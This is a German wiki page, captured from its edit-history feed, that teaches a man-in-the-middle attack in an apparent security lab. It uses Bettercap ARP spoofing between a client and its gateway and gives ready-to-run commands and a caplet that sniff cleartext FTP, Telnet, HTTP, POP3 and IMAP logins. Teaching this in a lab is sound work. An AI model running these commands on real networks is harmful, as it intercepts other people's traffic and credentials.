https://xinux.net/index.php?action=history&feed=atom&title=Arpspoofing_mit_Bettercap_Gateway_vorgauckeln 2026-08-23T16:05:40Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://xinux.net/index.php?title=Arpspoofing_mit_Bettercap_Gateway_vorgauckeln&diff=72944&oldid=prev 2026-08-20T14:19:56Z

<p>Die Seite wurde neu angelegt: „=Bettercap: MITM zwischen Client und Gateway= =Szenario= *CLIENT=10.0.10.104 *GATEWAY=10.0.10.1 *INTERFACE=eth0 Der Angreifer schaltet sich per ARP-Spoofing…“</p> <p><b>Neue Seite</b></p><div>=Bettercap: MITM zwischen Client und Gateway=<br /> <br /> =Szenario=<br /> *CLIENT=10.0.10.104<br /> *GATEWAY=10.0.10.1<br /> *INTERFACE=eth0<br /> <br /> Der Angreifer schaltet sich per ARP-Spoofing zwischen den CLIENT und das GATEWAY.<br /> Damit laeuft der gesamte Verkehr, den der CLIENT ins Internet oder in andere Netze<br /> schickt, ueber den Angreifer. Das ist der klassische Fall zum Abhoeren des<br /> Internet-Verkehrs eines einzelnen Opfers.<br /> <br /> =Benoetigtes Paket=<br /> *apt-get install bettercap<br /> <br /> =Angriff auf dem Angreifer=<br /> *bettercap -iface eth0<br /> <br /> ;Im bettercap-Prompt:<br /> *set arp.spoof.targets 10.0.10.104<br /> *set arp.spoof.fullduplex true<br /> *set net.sniff.filter &quot;tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143&quot;<br /> *net.probe on<br /> *arp.spoof on<br /> *net.sniff on<br /> <br /> =Optionen=<br /> -iface eth0 = Interface<br /> arp.spoof.targets = das Opfer (CLIENT); das Gateway ergibt sich automatisch<br /> arp.spoof.fullduplex = beide Richtungen vergiften (CLIENT und GATEWAY)<br /> net.sniff.filter = nur die Klartext-Dienste anzeigen (BPF-Filter wie bei tcpdump)<br /> net.probe on = ARP-Cache vorab fuellen, damit die MACs bekannt sind<br /> arp.spoof on = ARP-Spoofing starten<br /> net.sniff on = Mitschnitt starten<br /> <br /> ;Anders als bei der Host-zu-Host-Variante wird hier arp.spoof.internal NICHT<br /> ;gebraucht: das Ziel ist die Strecke CLIENT-GATEWAY, und die vergiftet bettercap<br /> ;standardmaessig. arp.spoof.internal ist nur noetig, wenn zwei interne Hosts<br /> ;untereinander abgehoert werden sollen.<br /> <br /> ;Der Filter net.sniff.filter blendet allen uebrigen Verkehr aus, damit die<br /> ;Klartext-Logins nicht im Rauschen untergehen. Ohne ihn funktioniert der Angriff<br /> ;genauso, man sieht nur mehr. Die Ports:<br /> 21 FTP Login + Passwort im Klartext<br /> 23 Telnet komplette Sitzung im Klartext<br /> 80 HTTP unverschluesselter Web-Verkehr<br /> 110 POP3 Login + Passwort im Klartext<br /> 143 IMAP Login + Passwort im Klartext<br /> <br /> ;IP-Forwarding muss nicht von Hand gesetzt werden - bettercap leitet die Pakete<br /> ;selbst weiter, sobald arp.spoof laeuft.<br /> <br /> =Als Caplet (reproduzierbar)=<br /> ;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,<br /> ;damit man sie nicht jedes Mal von Hand tippt.<br /> *vim seclab-c2g.cap:<br /> net.probe on<br /> set arp.spoof.targets 10.0.10.104<br /> set arp.spoof.fullduplex true<br /> set net.sniff.filter &quot;tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143&quot;<br /> arp.spoof on<br /> net.sniff on<br /> <br /> ;Start:<br /> *bettercap -iface eth0 -caplet seclab-c2g.cap<br /> <br /> =Nachweis auf dem CLIENT=<br /> ;Im ARP-Cache steht fuer das GATEWAY die MAC-Adresse des Angreifers<br /> *arp -n | grep 10.0.10.1<br /> 10.0.10.1 ether &lt;MAC-der-kali-innen&gt; C eth0<br /> <br /> =Nachweis auf dem GATEWAY=<br /> ;Im ARP-Cache steht fuer den CLIENT dieselbe MAC-Adresse<br /> *arp -n | grep 10.0.10.104<br /> 10.0.10.104 ether &lt;MAC-der-kali-innen&gt; C eth0<br /> <br /> ;Beide Seiten tragen fuer unterschiedliche IPs dieselbe MAC ein - das ist der Beleg<br /> ;fuer den laufenden MITM.<br /> <br /> =Was jetzt sichtbar wird=<br /> ;Der gesamte Verkehr des CLIENT laeuft ueber den Angreifer. Die Klartext-Dienste<br /> ;erscheinen im net.sniff-Mitschnitt. HTTPS, SSH und andere verschluesselte Dienste<br /> ;laufen zwar ebenfalls ueber den Angreifer, sind aber nicht im Klartext lesbar.<br /> ;Genau das ist die Lehre: MITM funktioniert weiterhin, aber Verschluesselung<br /> ;entwertet den Mitschnitt.<br /> <br /> =Angriff beenden=<br /> ;Im bettercap-Prompt:<br /> *arp.spoof off<br /> *q<br /> <br /> ;arp.spoof off schickt korrekte ARP-Antworten (re-ARP), damit die ARP-Caches von<br /> ;CLIENT und GATEWAY wieder auf die echten MAC-Adressen zeigen und das Opfer normal<br /> ;weiterarbeiten kann.<br /> <br /> =Weiterfuehrende Angriffe=<br /> *[[Ngrep]]</div>

Thomas.will